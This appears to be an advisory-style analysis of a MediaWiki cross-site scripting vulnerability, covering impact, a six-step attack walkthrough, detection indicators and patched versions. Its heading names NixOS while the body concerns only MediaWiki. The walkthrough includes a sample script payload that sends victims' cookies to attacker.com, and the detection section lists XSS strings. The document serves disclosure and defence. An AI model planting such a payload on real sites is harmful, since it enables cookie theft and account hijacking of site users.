CVE-2025-67475: 
NixOS vulnerability analysis and mitigation

CVE-2025-67475 is a Cross-Site Scripting (XSS) vulnerability in Wikimedia Foundation MediaWiki, specifically within the includes/CommentFormatter/CommentParser.php file. It affects MediaWiki versions before 1.39.16, 1.43.6, 1.44.3, and 1.45.1. The vulnerability was published on February 3, 2026, and has a CVSS v3.1 base score of 6.1 (Medium) (Red Hat Advisory, Red Hat Bugzilla).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), rooted in insufficient sanitization of user-supplied input within the CommentParser.php component of MediaWiki's comment formatting subsystem. An unauthenticated remote attacker can craft malicious input that, when rendered in a victim's browser, executes arbitrary JavaScript in the context of the affected MediaWiki site. Exploitation requires user interaction (e.g., a victim visiting or viewing a page containing the malicious comment), and the vulnerability has a changed scope, meaning the impact can extend beyond the vulnerable component itself (Red Hat Advisory, Red Hat Bugzilla).

Successful exploitation of this XSS vulnerability allows attackers to inject and execute malicious scripts in the browsers of users viewing affected MediaWiki pages. This can lead to session cookie theft, account hijacking, unauthorized actions performed on behalf of authenticated users (including administrators), content defacement, and potential distribution of malware to site visitors. The changed scope of the vulnerability means that the impact can affect resources beyond the MediaWiki application itself (Red Hat Advisory).

As of the time of reporting, there is no public proof-of-concept exploit and no evidence of active in-the-wild exploitation (Red Hat Advisory). The EPSS score is approximately 0.07%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The CVSS v4.0 exploit maturity is rated as "Unreported."

1. Reconnaissance: Identify publicly accessible MediaWiki installations running vulnerable versions (before 1.39.16, 1.43.6, 1.44.3, or 1.45.1) using search engines, Shodan, or manual version checks via the Special:Version page.
2. Identify injection point: Locate a page or feature that uses the CommentFormatter/CommentParser.php component, such as edit summaries, talk page comments, or other comment-enabled areas.
3. Craft malicious payload: Prepare an XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) designed to bypass MediaWiki's input filtering within the comment parser.
4. Inject payload: Submit the crafted payload through the vulnerable comment or edit summary field on the target MediaWiki instance.
5. Trigger victim interaction: Lure a target user (ideally an authenticated administrator) to view the page containing the injected payload, causing the malicious script to execute in their browser.
6. Achieve objective: Collect stolen session cookies or credentials, perform actions on behalf of the victim, or deliver further malicious content (Red Hat Bugzilla).

• Network: Outbound HTTP requests from a victim's browser to unexpected external domains shortly after viewing a MediaWiki page; unusual redirects originating from MediaWiki comment or edit summary sections.
• Logs: MediaWiki access logs showing unusual or encoded content in comment/edit summary parameters (e.g., <script>, javascript:, onerror=, or URL-encoded equivalents); repeated access to pages with comment sections from unfamiliar IPs.
• File System: Unexpected modifications to MediaWiki page content or templates that introduce persistent script tags.
• Process/Application: Reports from users of unexpected browser behavior (popups, redirects) when viewing specific MediaWiki pages containing user-generated comments or edit summaries.

Wikimedia Foundation has released patched versions addressing this vulnerability. Administrators should upgrade to MediaWiki 1.39.16, 1.43.6, 1.44.3, or 1.45.1 (or later within their respective branch) as soon as possible (Red Hat Advisory, Debian Security Advisory). As a temporary measure, restricting anonymous editing and comment submission can reduce the attack surface. Implementing a strict Content Security Policy (CSP) header may also help limit the impact of any successful XSS exploitation.

Debian issued a security advisory (DSA-6085-1) and a Debian LTS announcement (DLA-4428-1) addressing this and related MediaWiki vulnerabilities, indicating broad downstream distribution concern (Debian Security Advisory, Debian LTS). Red Hat tracked the issue via Bugzilla and published a CVE advisory. No significant independent researcher commentary or social media discussion has been identified for this CVE.